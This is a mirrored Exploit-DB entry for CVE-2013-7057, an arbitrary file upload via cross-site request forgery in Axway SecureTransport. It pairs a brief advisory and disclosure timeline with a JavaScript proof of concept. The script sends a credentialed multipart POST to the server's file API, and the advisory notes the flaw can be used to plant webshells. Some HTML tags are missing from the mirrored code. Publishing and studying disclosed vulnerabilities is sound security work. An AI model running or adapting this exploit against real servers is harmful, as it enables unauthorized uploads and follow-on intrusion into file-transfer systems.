Axway Secure Transport 5.1 SP2 – Arbitrary File Upload (via Cross-Site Request Forgery) - 体验盒子

作者： Emmanuel Law

日期： 2014-10-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/35046/

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<!--

# Exploit Title: Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF

# Exploit author: Emmanuel Law

# Public Disclosure Date : 20/10/14

# Vendor homepage: http://www.axway.com

# Affected Software version: Axway Secure Transport 5.2.1 SP2 and possibly earlier versions.

# CVE: CVE-2013-7057

Software Description:

=====================

Axway SecureTransport is a multi-protocol Managed File Transfer (MFT) gateway solution that enables organizations to secure, manage, and track the transfer of files inside and outside the enterprise firewall.

Vulnerability Description:

=====================

It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.

Vulnerability Disclosure Timeline:

==================================

12/12/13 - Discovered vulnerability and notified Vendor

17/10/14 - Verified with Vendor that a patch has been released.

20/10/14 - Public disclosure

Steps to reproduce / PoC:

=========================

-->

<html>

<body>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "https://sftp.example.org/api/v1.0/files/", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19278872527677784281970288330");

xhr.withCredentials = true;

var body = "-----------------------------19278872527677784281970288330\r\n" +

"Content-Disposition: form-data; name=\"upload[]\"; filename=\"AURA_TEST.randomExtension\"\r\n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"FILEDATA\r\n" +

"-----------------------------19278872527677784281970288330--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

</script>

</form>

</body>

</html>